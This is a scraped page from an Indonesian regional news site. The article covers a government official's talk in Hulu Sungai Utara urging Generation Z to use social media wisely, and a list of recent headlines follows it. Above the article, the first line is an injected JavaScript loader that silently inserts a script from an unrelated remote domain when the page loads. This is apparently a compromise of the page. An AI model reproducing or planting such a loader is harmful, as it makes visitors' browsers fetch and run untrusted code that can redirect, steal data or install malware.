(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Diskominfosandi HSU Ajak Generasi Z Bijak Gunakan Medsos


KANALKALIMANTAN.COM, AMUNTAI – Membangun generasi Z bijak bermedia sosial, mencegah terjadinya hal-hal negatif menjadi salah satu latar belakang Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Kabupaten Hulu Sungai Utara (HSU) dalam programnya.

“Prinsip bermedia sosial terbagi menjadi lima point, pertama ‘Is it True?’ yaitu tentang informasi atau konten yang diunggah itu benar, setelah menerima berita (informasi) pastikan benar atau tidak,” kata Staf Ahli Bidang E-Goverment Diskominfosandi HSU, Akhmad Ismail, saat menjadi narasumber kegiatan Forum Anak, di aula Dinas Pemberdayaan Perempuan dan Perlidungan Anak (DPPPA) HSU, Minggu (20/3/2022).

Sedangkan yang kedua, ‘Is it Helpful?’ yaitu konten yang diunggah itu bermanfaat bagi orang lain.

Lanjut, ketiga ‘Is it Ilegal?’ tentang izin hak cipta ketika memuat atau membagikan tulisan, foto karya seseorang.

 

 

Baca juga: 7 Pelari HSU Borong Juara Coffee Run 8Km Banjarmasin

“Biasakan diri untuk menulis sumber materi yang ingin diunggah ke media sosial,” jelas Ismail.

Keempat ‘Is it Necessary’ tentang informasi atau konten yang diunggah itu layak untuk dibagikan dan kelima ‘Is it Kind’ mengunggah konten yang tidak bermuatan hal negatif yang bisa berakibat bisa mencederai perasaan orang lain.

Kegiatan Forum Anak, di aula Dinas Pemberdayaan Perempuan dan Perlidungan Anak (DPPPA) HSU, Minggu (20/3/2022). Foto: dew

Adapun cara agar anak bijak bermedia sosial adalah dengan cara membatasi jumlah platform yang digunakan dapat mengurangi total yang dihabiskan di media sosial.

“Kurangi jumlah penggunaan media sosial, misalkan yang digunakan hanya instagram dan tik tok. Jangan semuanya (didownload),” imbuhnya.

Guna mencegah terjadinya hal-hal dampak negatif yang bisa mempengerahui anak menurutnya diperlukannya peranan orangtua sangat penting dibutuhkan dalam pengawasan anak menggunakan media sosial.

“Orangtua bisa membatasi anak dalam menggunakan media sosia,” tukasnya.

Baca juga: Oknum Polisi Bermasalah Bakar Rumah Ayahnya di Ketapang

Sekedar informasi, istilah generasi Z sendiri menurut para ahli dalam teori generasi (Generation Theory) adalah mereka yang lahir pada rentan tahun 1996 hingga 2012. Sementara generasi milenial disebut sebut sebegai generasi yang lahir antara rentan tahun 1981 hingga 1995. dari 2 generasi tersebut masing-masing memiliki perbedaan pertumbuhkembangan kepribadian. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Risa

Recent Posts

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

4 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

5 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

7 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

7 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

19 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

22 jam ago

This website uses cookies.